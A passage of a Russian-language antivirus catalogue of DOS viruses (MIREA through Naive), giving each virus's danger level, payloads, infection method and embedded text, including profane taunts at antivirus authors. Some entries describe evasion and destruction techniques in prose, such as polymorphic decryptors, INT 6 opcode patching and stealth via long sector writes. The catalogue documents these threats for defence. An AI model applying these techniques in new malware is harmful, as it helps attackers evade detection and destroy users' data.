диске с 12битовой FAT. Иногда, по окончании своей работы, может выдать
текст:
Заранее прошу извинения.
Чистая случайность, что ЭТО попало к Вам.
По классификации Е. Касперского это типи-
чная "студенческая" программа, причем в
наихудшем ее исполнении:
- портит оверлеи ( если не повезет, то и
резиденты тоже ),
- портит забитый до отказа диск,
- содержит большое число ошибок,
- имеет большой размер,
и т.д.
Чего еще можно ожидать от студента МИРЭА.
Ничего гадкого , кроме распространения
программа не делает ( я на это надеюсь,
хотя от "студенческой" можно ожидать все-
го из-за ее крайней примитивности и боль-
шого числа ошибок ).
МИРЭА - хороший ВУЗ!!!
МИРЭА - это звучит гордо!!!
МИРЭАзм не объяснить, в нем надо жить!!!
Minsk.1075
При каждом 20ом чтении из DBF-файлов вместо прочитанных байт возвращает
нули. Содержит опасную ошибку: при инсталляции в память вместо вызова
INT 21h может вызвать INT 15h (15h=21d).
Minsk.1447
Работоспособен только в MS-DOS 3.30. Содержит текст "MINSK GHOST,1991".
Mirror.482
Очень опасный резидентный вирус. При каждом 1000 вызове INT 21h вирус
переворачивает изображение на экране и записывает в MBR жесткого диска
5 байт прямого межсегментного перехода на перезагрузку JUMP F000:FFF0.
Mirror.4130 (1,2)
Неопасные полиморфные вирусы. Могут установить свою TSR-копию в область
UMB. Содержат текст "[ Mirror: Bit Addict / TridenT ]". Есть
модификация вируса, содержащего текст "Moonchild (C) Dread Lord //
FotD". Видимо, этот "Dread Lord" ничего больше не умеет, кроме того,
чтобы гордо поставить свое лого в чужой вирус.
MISiS (1-4)
Неопасные загрузочные стелс-вирусы. Иногда водят на экран одно из
следующих сообщений:
MISiS (1,4):
МИСиС Май'92. Жаринов Soft 236-25-35.
"Жаринов" пришел!..
Я СУБД NIKA!
Отойдите от машины!
Работу программистам!
Слава Лозинскому!
Тебя МИНЗДРАВ предупреждал?!
Молитесь...
MISiS (2):
МЭСИ Март'93. Жаринов - УРОД !
Автор вируса - ГАД.
Ты подохнешь !
Придурки из МИСиС!!
Гнать таких надо !!!!
Долой Лозинского!
Испоганили винт моей PC!!!!!
Привет! ...
MISiS (3):
YOU ARE SILLY ORGANIC CREATIONI'M AMUSINGGO OUTSIDE!
...GOOD BY...I LOVE F117!
HIGHT LOZINSKY!
I'M BACK!!!!
FREDDY BACK ALREADY!
Mithrandir.450
Содержит строку "Mithrandir III".
Mixx.570
Неопасный резидентный вирус. Содержит строку "MiXx".
Mmca.505, 879, 882, 1131
Неопасные резидентные вирусы. Mmca.879, 882, 1131 - зашифрованы.
Содержат текст "ММСА_КПИ".
MME.Ssr.18273, 18364, 19071, 19834
Очень опасные резидентные полиморфные вирусы. Содержат несколько
разнообразных расшифровщиков. Предпоследний декриптор использует
алгоритм случайной расшифровки последнего декриптора и основного тела
вируса, каким-то образом похожий на алгоритм вирусов RDA, но слабее
по реализации. Последний расшифровщик использует динамическую
расшифровку тела вируса с помощью INT 01. При вызове некоторых
зарезервированных функций INT 21h вирусы выводят текст, сопровождаемый
видео и звуковыми эффектами:
!!! ALARM WARNING DANGER APPROACHING !!!
Hacker-fucker TSR shit or Any Virus Detected !!!
Anyone who wants to fuck Revenge is Naivnij Man
With best wishes & thanks to DialogScn
Emulation engine will have problems with this ZHOM
In future versions we will add :
1. Protected Mode Decryptor [VMME]
2. Adinf table Hacker-cracker
3. Destroy Files/Disks/CMOS/Printer/CDROM
4. Disk encryption and other BUGs,GLUKs & SHITs !
Dis is only BEGIN... Win95 & her lamers must die!
Searching... SEEK & DESTROY
There can be only one ...
MME.Ssr.19834 выводит следующий текст:
!!! ALARM WARNING DANGER APPROACHING !!!
Hacker-fucker TSR shit or Any Virus Detected !!!
Anyone who wants to fuck Revenge is Naivnij Man
With best Wishes to E.Kaspersky !
Now I'm CURELESS !!! SND Used !!! Rules !!!
In future versions I will add :
1. Protected Mode Decryptor [SF0rCE]
(Web,try to emul IT :)))) )
2. UniversalAntiDetector
3. Must Die: Lamers,Webs & other...
4. And other BUGs,GLUKs & SHITs !
Dis is Continue... Win95 & her lamers must die!
Searching... SEEK & DESTROY
There can be only one ...
Периодически "трясут" экран или выводят текст:
T H I S I S
¦-- ----- ¦--
¦--------- ------ ¦-- ¦-- ------ ¦-- ---- ---- -- ------
---- ¦--¦------- ¦-- ¦-- ¦------- ¦--------¦-------- ¦-------
¦--- ¦-- ¦-- ¦-- -- ¦-- ¦-- ¦-- ¦-- ¦--¦-- ¦-- ¦-- ¦--
-------- ¦------- ¦-- ¦-- ¦------- ¦-- ¦-- --------¦-------
¦--- ¦-- ¦------ ¦-- ¦- ¦------ ¦-- ¦-- -------¦------
¦-- --- --- - ¦--¦- --- - ¦-- ¦-- ----- --- -
--- --- ------ ¦-- ------ ¦-- ¦-- - ¦-- ------
¦--- --- ---- -- ---- -- -- -- ¦-- ----
--- --- ¦------
--- --- -----
---
O F S T A I N L E S S S T E E L R A T
После чего появляется еще один текст:
····••• Revenge virus v 1.01 released at 20.04.96 •••····
····••• Copyright (c) 1996-97 2 Rats Techno Soft •••····
····••• Written by •••····
····••• Stainless Steel Rat •••····
И после этого текста вирусы уничтожают случайный сектор логического
диска C:. Вирусы удаляют файлы, имеющие расширения PAR,PIF,ICO,WEB,---,
PAS,BAS,AVB,FRQ,311,312,TPU,GIF,JPG,NLM,STM, MOD, CPP, DOT, подставляя
вместо имени текст "Шит !". Не заражают файлы, содержащие в своем имени
буквосочетания (по 2 символа на имя) из строки: DRAIADCOHIAVWIKEUSGD.
При трассировке резидентной копии, вирусы выводят текст и "вешают"
систему:
И долго он INT`ы трассировал...
Теперь я грустный терминал !
При старте программы, содержащей в своем имени сочетание символов ID
(AIDSTEST.EXE) вирусы выводят на экран текст "А не пора ли г-ну
Лозинскому на пенсию !". MME.Ssr.19834 выводит другой текст: "Ты еще не
выбросил этот suxx на помойку ?! :)".Резидентные копии вирусов содержат
всевозможные манипуляции со "врезкой" в оригинальный обработчик INT 21h
двух байт вызова INT ACh, который в свою очередь вызывает INT ABh,
который возвращает управление INT 21h через INT 2Ah... В общем, все это
оставляет чрезвычайно гнетущее впечатление от чрезмерных потуг
господина вирусописателя... Для обмана резидентных мониторов вирусы
используют некоторый прием по изменению расширения имени файла, которое
восстанавливается из ядра DOS с помощью INT 2Ah. Файлы, упакованные
PKLITE, вирус заражает нетрадиционным способом - корректируется
стартовый код распаковщика PKLITE таким образом, что управление должно
попасть на участок кода, выводящий текст "Not enough memory" и
завершающий работу программы. Но вирус внедряет в данный участок кода
переход на собственное зашифрованное тело. MME.Ssr.19834 использует в
коде расшифровщика инструкции 386 процессора. Также MME.Ssr.19834 при
заражении некоторых файлов считывает 4000h байт данного файла в буфер и
пытается найти следующие последовательности байт 0B4h,??, 0CDh, 21h или
0B8h,??,??,0CDh,21h (вызов прерывания DOS 21h с некоторыми значениями в
регистрах AH или AX) и изменяет данные последовательности байт в строку
с первым байтом 0F0h. Далее следуют зашифрованные по некоторому
алгоритму значения регистров AH или AX. Резидентная копия вируса
"перехватывает" INT 6 (invalid opcode - неправильная команда). При
выполнении инструкции, имеющей первый байт команды - 0F0h, системой
генерируется INT 6, который контролируется вирусом. В результате вирус
расшифровывает значение регистра AH или AX, записывает в память,
откуда "пришла" несуществующая команда, правильный первый байт команды,
значение регистра и вызов INT 21h (0CDh, 21h). Т.о., при наличии в
памяти резидентной копии вируса MME.Ssr.19834, все "разрушенные"
программы будут работать нормально, а при отсутствии вируса, скорее
всего они "завесят" систему.Вирусы содержат огромное количество ошибок,
из-за которых "нормальная их жизнедеятельность" практически невозможна.
Вирусы содержат тексты:
Hi Hacker! Welcome to Hell
Move over, I said move over Hey, hey, hey, clear the way
There's no escape from my authority - I tell you -
Gimme the prize, just gimme the prize
Save me,save me
Give me your WEBs, let me squeeze them in my hands, Your puny scaners,
Your so-called heuristics analyzers, I'll eat them whole before
I'm done, The battle's fought and the game is won,
I am the one the only one, I am the god of kingdom come,
- THERE CAN BE ONLY ONE -
I'M GOING SLIGHTLY MAD
Don't lose your header
Just very slightly mad !
I'm the invisible man
Now you DiE !
Crazy Little Thing Called PkLite
StealthedMetamorphicCrazyForcedSynthesatedRandomMegaLayerEncryption
ProgressionMutationEngineGenerator
Я мстю ,и мстя моя ужасна... № S.S.R.
BUGS INSIDE "tm"
RandomEncryptionSynthezator № S.S.R. 1996-97
THE STAINLESS STEEL RAT MUTATION ENGINE v 1.21 beta
---(c) S.S.R. 1996-97---
MME v 2.00 № S.S.R. 1996-97
Metamorphic Mutation Engine v 2.00 (C) Stainless Steel Rat 1996-97
It's C00LEST Engine &К
MME.Ssr.19071 также содержит еще один текст:
--------------------
Notes:
А теперь about DR.web...
Ламерство! Как меня обозвали?! MME.Ssr.18xxx !
ТРЕБУЮ ПЕРЕИМЕНОВАНИЯ В MME.SSRME.RES.REVENGE.xxxxx !
Толи дебагеры все обломал,толи %-) или это наъезд ?!
А как меня лечат:
Дополнение к 311 - мало того,что MMESsr'ом nam'ает (где точка?),
Так еще и F8.А нормальный апгрейд на свой Emul слабо поставить !
Да,еще:класный AidsBest получается - сигнатуру в MME нашел и рад,
Он даже на демку MME pугается:MMESsr.18xxx - полный торч !
Мне наплевать,но почему длина с декриптором ?
Virlist не видел,но уже обидно:мне одному ВирТех толкать,
А так обослали...
Помните:Мстя будет ужасной !
S.S.R. 12.09.1996 time:18.11
P.S. Инф к размышлению - автору 15 лет и это только начало...
--------------------
Orign:NUkE HiM A11 ! BIG NAWOROT BUGS INSIDE "tm"
MME.Ssr.19834 также содержит следующие тексты:
StealthedMetamorphicCrazyForcedSynthesatedRandomMegaLayerEncryption
ProgressionMutationEngineSeekAndDestroyerGenerator
Паутиныч !
Переименовать не захотел,да ! Ты сам этого хотел !
Это война !!! Сначала доки научись писать (см AVPVE)!
В общем,НЕВОЗМОЖНОСТЬ ЛЕЧЕНИЯ оставляет гнетущее впечатление
от чрезмерных потуг господина вирлистописателя...
Exe-Pklite только в 3.13 накопал...Бедные юзеры наверное
тебя задолбали,а ? Как это:все УДАЛИЛ:),а он опять появился !
НУ ТЕПЕРЬ ВСЕ - ВАМ ВСЕМ МЕНЯ ТЕПЕРЬ ЛЕЧИТЬ СЛАБО:SND однако...
RES не отэмулил - получи 32ReGs,@$%^, !
Revenge - Это даже не швабра,а пылесос с ядерной накачкой и
турбо-наддувом для твоей несчастной Паутины и остальных ЗАSHITНИКОВ!
[остальные наезды поскипаны]
Уважаемый г-н Касперский ! Очень благодарен за подробное описание !
Мне очень понравилось,thanks.Баги в доке есть но все равно - КРУТО !
RES - не полиморфный генератор,а Randomer
По этому поводу я удалил .AVB из хорошего списка ! Bestовые регарды и
pулесы ! AVP - это круто,Web - real SUXX !
За баги и глюки не отвечаю (в особенности за чужие)!
№ S.S.R.
P.S. remember:8086 - не 486,а emul - не TD386
При детектировании вируса MME.Ssr.19071 программа Dr.Web определяет его
в инфицированных файлах, как MME.Ssr.18273.
Mnemonix.A-Bomb
Неопасный резидентный шифрованный стелс-вирус. Заражает COM-файлы при
их старте или закрытии. При открытии инфицированных файлов, вирус
удаляет из них свой код. Содержит строку "[A-BOMB V1.0с] By Mnemonix
1994".
Mnemonix.BW.1027
Неопасный нерезидентный шифрованный вирус. Содержит текстовую строку
"[BW] [DP/4] Dementia Praecox MnemoniX '94".
Mnemonix.Esp
Неопасный полиморфный резидентный вирус-спутник. Содержит строку
"[ESP/Sixth Sense] by MnemoniX".
Mnemonix.LoTek.856
Содержит строку "[BW с] [Lo Tek] by MnemoniX".
Mnemonix.Neuropath
Неопасный резидентный полиморфный вирус. Создает файл, состоящий из 2
символов со значением 256 (FFh), в текущем каталоге. При открытии
файлов программами SCAN, CLEAN, вирус подставляет им созданные им файлы
FFFFh. Содержит строку "[Neuropath] MnemoniX".
Mnemonix.Sugar
14 числа выводит на экран строку "[C6H12O6] ". Имеет текстовую строку
"Blood Sugar by MnemoniX".
Moctezuma.2208, Moctezuma.2416
Очень опасные резидентные полиморфные вирусы. Перехватывают INT 08,
13h, 21h. При чтении или записи секторов через INT 13h изменяют два
случайных байта. INT 08 используют для создания холостых циклов.
Moctezuma.2208 иногда сдвигает квадрат размером 12x12 в левой части
экрана на 2 строки вверх. Содержат текст "Moctezuma's Revenge".
Moloch
Неопасный загрузочный полиморфный стелс-вирус. Изменяет некоторые поля
CMOS-памяти (?). Содержит строки:
OH-MY-GOD! Moloch (tm) is here!
Moloch is a trademark of SquiBoyz
Monarch.1040
Очень опасный шифрованный вирус. При старте инфицированного файла,
вирус производит поиск COM и EXE-файлов в текущем каталоге и заражает
их, причем EXE-файлы заражаются также, как и COM. В дальнейшем при
старте такого "бывшего" EXE-файла вирус выводит сообщение "Error in EXE
file". Если в текущем каталоге COM и EXE-файлов нет, либо они уже все
заражены, то вирус выводит сообщение "Bad command or file name",
"перехватывает" INT 21h и оставляет в памяти свою резидентную копию,
заражающую файлы при их открытии (f.3Dh INT 21h). Автором планировалось
заражение файлов и при запуске, переименовании, смене атрибутов,.. но в
данном месте допущена ошибка. Если размер файлов-жертв менее 666 байт
или больше 64000 байт (но менее, чем 64K - ошибка автора), то вирус
записывает в начало таких файлов 6 байт кода перезагрузки системы и
следующий текст:
This program was written in USSA (c) 1879-1953 Red monarch
В файлы, имеющие расширение ?AP, вирус также записывает
вышеобозначенный текст. Безнадежно портит файлы больше 64K при попытке
их заражения. При заражении 13 файлов вирус пытается уничтожить
Boot-сектор дискеты в третьем дисководе.
Mongol
Опасный загрузочный стелс-вирус. 30 мая уничтожает сектора первого
жесткого диска и выводит текст:
Mongolain Virus VERSION 1.00
Mongolian Brain Co.Ltd 1992
Today is birthday of my babby !!!
Monkey (1,2)
Неопасные Boot-вирусы. При заражении шифруют оригинальный Boot-сектор.
Содержат зашифрованную строку "Monkey".
Morgot.823, 841, 948
Содержат строку "MORGOT", "-=MORGOT 2=-" или "-=MORGOT 3=-".
Moskau.800
Неопасный нерезидентный шифрованный вирус. Содержит зашифрованную
текстовую строку ""MOSKAU98"Stas".
Mosquito.768
Опасный резидентный вирус. Внедряет свой код (768 байт) в точку входа
EXE-файлов, перенося программный код в конец файлов. Из-за ошибок может
разрушить некоторые файлы. "Перехватывает" INT 10h, 21h. При выводе на
экран меняет букву "с" на "ш", а при выводе буквы "а" пищит динамиком.
Содержит текст "Mosquito.(Crazy)".
MP.1024
Очень опасный нерезидентный вирус. Записывает в MBR жесткого диска
троянский код, который 9 или 10 числа месяца уничтожает информацию на
"винчестере".
MPhTI (1-3)
Опасные загрузочные вирусы. Могут уничтожить несколько секторов дисков.
Содержат текст "1991,МФТИ".
MrD.1536
Может разместить свою TSR-копию в UMB. 31 числа месяца устраивает на
экране движение букв и символов. Содержит строки "VIRPU" и "Mr. D".
MrD.1569
Зашифрованный резидентный вирус. Предпринимает всевозможные ухищрения
для затруднения анализа вирусного кода. Перехватывает INT 1Ch, 21h,
2Fh. Содержит текстовую строку "VIR MKS AV NV TB". Файлы, содержащие
данные буквенные последовательности вирус не заражает. После заражения
файла вирус пытается удалить файл с таким же именем, но с расширением,
в котором вместо первой буквы будет присутствовать символ "_",
например, для файла EXEFILE.EXE вирус после его заражения попытается
удалить файл EXEFILE._XE (?). Иногда вирус устраивает видеоэффекты:
либо сдвигает постепенно весь экран на одну строку вниз, либо
меняет местами два случайных символа на экране.
MrHu
Очень опасный шифрованный Boot-вирус. При заражении производит поиск
инструкции STI (0FBh) в MBR или Boot-секторе диска и внедряет сразу за
данной найденной инструкцией 37 байт своего кода, производящих
считывание второго вирусного сектора - "хвоста", расположенного в
последнем секторе диска. Иногда уничтожает информацию на диске, с
которого происходила загрузка системы. После чего выводит в пятую
видеостраницу (?) текст "(C) Copyright Mr. Hu 1992-93 V1.00".
MrRat.1278
Неопасный резидентный вирус. Содержит строку "Mr.Rat". При нахождении
файла dirinfo, - заново создает его и записывает в него один из
следующих текстов:
Ребята! Дайте покурить.
Слушай! Сгоняй за пивом...
Кто стер мой PrefClub!!!
Пятнадцать человек на компьютер шефа.
Йо-хо-хо и бутылка пива.
Завари чайку, а?
А всяким там Лозинским,
мы еще покажем!
Мизер! И 65535 в гору...
Отвал башки...
Поехала. Целую. Крыша.
6NT, говоришь?.. Так я ж тебя сьем!
Well, well, well...
Give 'er a blast, babes!
Я устал... Безумно устал...
Перед вами диаграмма распределения
здравомыслия...
Маразм - он и в Африке маразм.
Larry, Rat & Qwer Co.
All Rights Reserved.
IT'S A MATTER OF PREFERENCE
MrTwister.12288, 16384
Очень опасные нерезидентные вирусы, не сохраняющие программный код.
При старте вирусы выводят тексты:
MrTwister.12288 - Enter Correct key for access
You must Pick a number from 1 to 10
MrTwister.16384 - Enter Correct key for access
После чего вирусы ожидают нажатия на клавишу. Если для вируса
MrTwister.12288 ввести "5", а для MrTwister.16384 случайную клавишу,
то вирусы выведут текст:
Good Job, you were Lucky...
и возвратит управление DOS. Если нажать любую другую клавишу, то вирусы
выдадут сообщения:
MrTwister.12288 - Please try again when you feel lucky
MrTwister.16384 - Opps Wrong Key Your Screwed
После чего произведут поиск и заражение в каталогах \vtemp1,
\windows или в текущем всех доступных файлов. Содержат текст
"Mr. Twister was here".
Ms.1006
Производит трассировку INT 13h, 21h, 26h, 40h. Содержит строку "Ms".
Mst.322
Иногда выводит сообщение "(c) 1991 by MST,Vers.1.0".
MtE-вирусы
MtE (MuTation Engine) - полиморфный генератор вирусных шифровщиков и
расшифровщиков. Создан известным болгарским вирусописателем, известным,
как Dark Avenger. Данный генератор является "родоначальником"
полиморфных генераторов.
MtE.CoffeeShop
Резидентный полиморфный вирус. По пятницам при запуске инфицированной
программы с вероятностью 1/256 выводит картинку:
- --- --- --- - - ---- --- --- --- --- --- --- - - ---
- -- - - --- - - -- -- ¦¦ - --- - - - - --- --- - ---
--- --- --- - - --- - ---- --- \| --- - - - - - - - - --- - ---
¦\|¦
¦ |¦
\¦/
¦\¦ \ |/ -
\- ¦ \|/¦ -/
\ \ \¦/¦ - /-
¦-\/¦ ¦\ | / / -
¦-\/¦ \ \|/¦ - /-¦
¦-\/ ¦ \¦/ ¦\/--
¦--\/- ¦\ ¦ / \/-
- -\/ \|/¦ ¦ \/-
¦-\/ ¦\|/¦ \/- --- -
--- ---- -\ -¦ ¦/ \/- --- - --
-- -- ---__ \ \|/_/ ---- ---
----- "---|--- ----
----- ----- ¦ ------- ---
¦
Содержит текстовые строки: "SCCLVSNEHTTBVIRAFEMTBR", "Amsterdam =
COFFEESHOP!" и "MK1992"
MtE.Darkstar
Нерезидентный полиморфный вирус. Содержит строку:
"NightMare Labs, United Kingdom-
- DarKStaR -".
MtE.Dedicated (1-3)
Полиморфные вирусы. Выводят тексты:
We dedicate this little virus to Sara Gordon,
who wanted to have it corrected--
learn to program before you touch M_t_e
или:
We dedicate this little virus to Sara Gordon
who wanted to have a virus named after her.
MtE.Encroacher
Опасный нерезидентный полиморфный вирус. Уничтожает файлы chklist.cps,
C:\CPAV\CPAV.EXE, C:\CPAV\VSAFE.COM. Периодически записывает в EXE-
файлы текущего каталога 'троянскую' программу, перезагружающую
компьютер. Содержит текстовые строки: "ENCROACHER is here", "*.COM
chklist.cps C:\CPAV\CPAV.EXE C:\CPAV\VSAFE.COM *.EXE".
MtE.Fear
Очень опасный нерезидентный полиморфный вирус. Периодически стирает
случайные сектора дисков. Содержит строки: "Fear VirusCreated on 2-5-92
by PkaHerONEhp", "You have nothing to fear except FEAR itself...kein
'.' oder '..' Verzeichnis ist zugeordnet Eintrag .. nicht
wiederherstellbar Eintrag hat eine fehlerhafte".
MtE.Groove
Очень опасный полиморфный вирус. Уничтожает файлы C:\NAV_._NO,
C:\NOVIRCVR.CTS, C:\NOVIPERF.DAT, C:\CPAV\CHKLIST.CPS,
C:\TOOLKIT\FILES.LST, C:\UNTOUCH\UT.UT1, C:\UNTOUCH\UT.UT2, C:\VS.VS.
После заражения файла может вывести сообщение:
Dont wory, you are not alone at this hour...
This Virus is NOT dedicated to Sara
its dedicated to her Groove (...Thats my name)
This Virus is only a test Virus therefor
be ready for my Next Test ....
MtE.Insuff
Нерезидентный очень опасный вирус полиморфный вирус. Ищет COM-файлы и
записывается вместо них. Содержит строки: "Insufficient memory",
"Out of stack", "Not enough memory".
MtE.LC92
Очень опасный полиморфный вирус. Если все файлы уже заражены, то он
стирает случайно выбранный сектор случайно выбранного диска. Содержит в
себе строку:
MuTant Engine COM Infector - Research Vers 1 (c) LiquidCode 92
MtE.Metal
Резидентный полиморфный вирус. Содержит строки: "Into the darkness
march the armies of the night", "Bound by Metal we live to fight".
MtE.Mother
Нерезидентный полиморфный вирус. Периодически рисует на экране картинку
и играет мелодию на очень высокой частоте - писке.
-==¬єйЭкЄ-==¬
-===========- \
г==============- T¬ г----¬ TT---¬ L===============¬
¦ ¦¦ ¦ - ¦¦ L¬ ¦
¦ ¦¦ ¦-¦ ¦¦ ¦ ¦
г-- ¦ ¦L ¬ ¦ ¬ ¦L г- ¦ --¬
L---- L----- L----- ¦----- L----
""""" г-----¬ г----¬ TT---¬ TT---¬ г----¬ T¬ T TT---¬ """""
г---¬ г-- ¦ - ¦- ¦ ¦- ¦ ¦ - ¦¦ ¦ ¦¦ ¦ г---¬
L-- ¦ X ¦-¦ ¦----- ¦----- ¦-¦ ¦¦ ¦ ¦¦ ¦ ¦ ---
¦ г-- ¦ ¬ ¦ ¦ ¦ ¬ ¦L ¬ ¦ ¦L ¦ ¦
¦ L------ L----- - - L----- L----- ¦ ¦ ¦ ¦
L======================¬ -=======================-
L=ўўўў/ъ\ўўўў=-
Содержит тексты: "Ripped this Motherfucker off SHIT!!! Wont work...."
и "We dedicate this little virus to Sara Gordon who wanted to have a
virus named after her."
MtE.Pogue
Неопасный резидентный полиморфик. Иногда играет мелодию. Содержит
тексты: "TNX2DAV", "Pogue Mahone!".
MtE.Questo
Нерезидентный опасный полиморфный вирус. Стирает Boot-сектора дисков.
Содержит текст: "Questo sistema К stato infettat*.COM".
MTZ.971
Неопасный, самошифрующийся вирус. В зависимости от времени может
вывести на экран текст: You are lucky. Full moon tonight.! Содержит
текстовую строку: MTZ Virus 1.0 - From Italy
MTZ.1907
Неопасный, полиморфный стелс-вирус. Перехватывает прерывания 3h, 15h,
21h. Активизируется если версия DOS не ниже 5.0. Устанавливается
резидентно в область UMB. Заражает файлы при вызове функций DOS
FindFirst, FindNext. При нажатии на Ctrl-Alt-Del выводит на экран:
Y.K.K. - (c) M T Z - Italy!
Good Luck Today
MTZ.Overkill.1191, MTZ.Overkill.1308, MTZ.Overkill.1385
Неопасные полиморфные вирусы. При некоторых условиях выводят текст
и ждут нажатия на клавишу. Если будет введена 'Y', то вирусы "вешают"
систему. Если 'N' - возвращают управление инфицированной программе.
MTZ.Overkill.1191 и MTZ.Overkill.1308 содержат текстовую строку
"Procedure From VCL 1.0".
MTZ.Overkill.1191 содержит строку "Chi vuol esser lieto, sia: di
doman non v'e' certezza"
Выводимые сообщения:
MTZ.Overkill.1191:
"OverKill Virus By MTZ - From Italy - Are You ready (y/n) ?"
MTZ.Overkill.1308:
"OverKill II Virus By MTZ - From Italy - Are You ready (y/n) ?"
MTZ.Overkill.1385:
"OverKill III Virus By MTZ - From Italy - Are You ready (y/n) ?"
MTZ.Overkill.2624
Неопасный полиморфный стелс-вирус. Активизируется если версия DOS
не ниже 5.0. Устанавливается резидентно в область UMB. Заражает файлы
при вызове функций DOS FindFirst, FindNext, EXEC. При резидентном
вирусе, при открытии файла - удаляет вирус из файла, а при закрытии
вновь заражает его. 30 числа любого месяца, в зависимости от систем-
ного времени, может вывести текст:
Overkill IV Virus - By MTZ - From Italy - "Hit any key to continue"
(Cazzo! Anche oggi un altro 2 di picche, ma si puo' andare avanti cosi' ?)
MTZ.PinkPanther.4510, MTZ.PinkPanther.5081
Очень остроумно определяют оригинальный адрес обработчика INT 21h,
перехватив INT 6 и "забив" ядро DOS байтами 0FFh, предварительно
скопировав данное ядро в область UMB. Содержат расшифровщик,
извлекающий начальные значения регистров из стека. PinkPanther.4510
содержит текстовую строку:
2 - The Pink Panther - (c) MTZ Sept. 1993 Italy
PinkPanther.5081 31 декабря выводит на экран текст:
Pink Panther 2 (*The Last One*) - (c) MTZ '1 Jan 1994' Italy
Также в своем теле содержит строку: "Dedicated to Federica!"
Muhamor.4608
Неопасный резидентный вирус. Не заражает файлы, содержащие в своем
имени буквосочетание "WE". Записывает в файл C:\WINDOWS\LOGOS.sys и
C:\WINDOWS\LOGOW.sys изображение мухомора. В результате при выходе из
Windows 95 на его стандартных заставках в правом нижнем углу появляется
изображение мухомора. Вирус содержит текст:
·• O Muhamor virus O •· Краснодар 1997г.
MultiAni
Опасный загрузочный вирус. Записывает свой код длиной 55 байт в область
сообщений загрузочного сектора, и внедряет команду передачи управления
в начало стандартного загрузчика. В декабре вирус выводит на экран
текст: "La multi ani !". Содержит тексты "SoSo3" и "! ina itlum aL".
Murcia.4651
Неопасный резидентный шифрованный вирус. Иногда перепрограммирует
знакогенератор и выводит на экран шагающего человечка с флаконом,
видимо, одеколона. В последствии человечек бросает данный флакон на
"землю" и на этом месте "вырастает" некий дворец с надписью "MURCIA".
Также создает файл MURCIA!!.001, в который записывает текст:
MURCIA (SPAIN): THE BEST PLACE IN THE WORLD!
WHERE THE PEOPLE MAKES VIRUSES FOR YOUR COMPUTER!
NOW, IN SPANISH:
иSABES LO FACIL QUE RESULTARIA BORRARTE TODOS
LOS FICHEROS DEL DISCO? O MEJOR AUN: FORMATEARLO.
QUE PASES UN FELIZ DIA.
Murky
Очень опасный загрузочный вирус. Вирус перехватывает INT 13h (операции
с диском) и при записи секторов через функцию AX=3 записывает данные
сектора, используя другую функцию AX=0Bh (длинная запись) INT 13h. При
чтении же этих секторов через стандартную функцию AX=2 INT 13h, если
происходит ошибка чтения (т.к., сектор, записанный через "длинную
запись" не может быть прочтен стандартным способом), то вирус считывает
"сбойные" сектора с помощью функции AX=0Ah (длинное чтение), и, таким
образом, создает видимость нормальной работы системы. При удалении же
вируса из памяти, жесткий диск становится недоступен средствам DOS.
Программа Dr. Web после удаления вируса из MBR жесткого диска
автоматически приступает с "исправлению" жестких дисков. Помните, что
данная операция может быть довольно продолжительна по времени. Murky
содержит текст "Murky".
Murphy.1008
Опасный резидентный вирус. Удаляет *.ZIP файлы.
Murphy.Tormentor
Очень опасный вирус. 2 числа месяца уничтожает 255 секторов на всех
головках первого жесткого диска. Содержит строки: "NUKE!",
"TORMENTOR,soldier of -=DY=-", "[Thanks DAv!] DEMORALIZED YOUTH!".
Mururoa.2464, 3443
Неопасные резидентные шифрованные вирусы. Mururoa.2464 4 числа выводит
текст:
г=================================================¬
¦ I have one mesage to all people on earth : ¦
¦ Stop all French nuclear testing in the PACIFIC ¦
¦ Dont forgot :Comon people dont like nuc. tests! ¦
¦ This is is a MURUROA 1.386 by Blesk ¦
¦ PLUTONIUM IS BETTER IN POWER-PLANT !!!! ¦
¦ My greet to VYVOJAR,SVL,METABOLIS and all IRC. ¦
L=================================================-
Mururoa.3443 4, 8 и 14 мая выводит на экран текст:
г=================================================¬
¦ I have one mesage to all people on earth : ¦
¦=================================================¦
¦ All French nuc. test`s was STOPED. But MURUROA ¦
¦ IS DEAD !!!!! I am a coder of HELL FIRE and I ¦
¦ BRING YOU """""" FIRE """""" By Blesk/SVL ¦
¦NOTE: Name of this virus is [MURUROA_END] ¦
¦ By Blesk from Slovak Virus Laboratories at .SK ¦
¦ Real name of BOZA is BIZATCH.. STUPID A-VERS !!!¦
¦ PLUTONIUM IS BETTER IN POWER-PLANT !!!! ¦
¦ My greet to: VYVOJAR,SVL,VLAD,SKIMS,40-hex,IR ¦
¦=================================================¦
¦ And to some my friends: DJ.Milan,DJ.Maros, ¦
¦ DJ.Babula(Baby),TINA-huhu,DURO,LACI,Duffy,Kaaa, ¦
¦ Stano ...and more... A zdravim Mira Trnku 8)) ¦
L=================================================-
Не заражают программы, начинающиеся на: avg,fv386,turbo,fv86,guard,
toolkit, scan, virlab,vir,asta,vc,sswap,debug,td,stacker,alik,rex,msav,
cpav,nod,clean,f-pro,tbav,tbdriver,tbclean,tbscan,avast,nav,vshie,dizz,
command, vsafe. Mururoa.3443 содержит тексты: "I am in LOVE now...
ZUZANKA B.B. in Slovakia ":)"8"","For M.T.: Vivat Ziar nad Hronom.. 8))
Uz si rad ?? RADAR v PC Revue 9/94".
MusicBug
Неопасный загрузочный вирус. Иногда проигрывает мелодии.Содержит тексты
"MusicBug v1.06. MacroSoft Corp.", "-- Made In Taiwan --".
MVF.1866, MVF.1896
Резидентные вирусы, перехватывают INT 21h. Но при вызове некоторых
функций INT 21h, пытаются найти COM-файлы и заразить их. В пятницу 13
выводят сообщения:
THE MVF-FILEVIRUS
Programmed 1991 by the MVF
MAD Virus Factory
Mw.278
Неопасный резидентный вирус. Заражает COM-файлы только при копировании
(создании). После 13 заражений выводит текст "Fuck off" и блокирует
работу системы.
MyChild.1000 (1,2)
Неопасные резидентные вирусы. Содержат текст "My Child...K-on-A".
Nadym.493
Неопасный нерезидентный вирус. Иногда выводит на экран текстовую строку
"[VivatNadym] v.1.0 [1998]". Также содержит текст "Proudly by
[GloomyTanat]".
Nadym.934
Неопасный нерезидентный шифрованный вирус. 2 июня, 3 сентября или 1
апреля вирус выводит на экран один из следующих текстов:
[Yanush Milovski] and [GloomyTanat]
Thanks to Yana Diagileva for their songs
Thanks to Shunya for their love and hate
And Thanks You Stupid User for using our virus
Relax man ... relax ...
[VivatNadym] v.2.0 [1998]
Hello, Welcome to the Psychiatric Hotline.
Nadym.1058
Опасный нерезидентный вирус. Иногда переименовывает C:\AUTOEXEC.BAT в
C:\AUTOEXEC.NAD, создает новый файл C:\AUTOEXEC.BAT, в который
записывает команды:
@echo off
cls
echo.[VivatNadym],_demo_version_[1997].
pause ""nul
Naive.1647
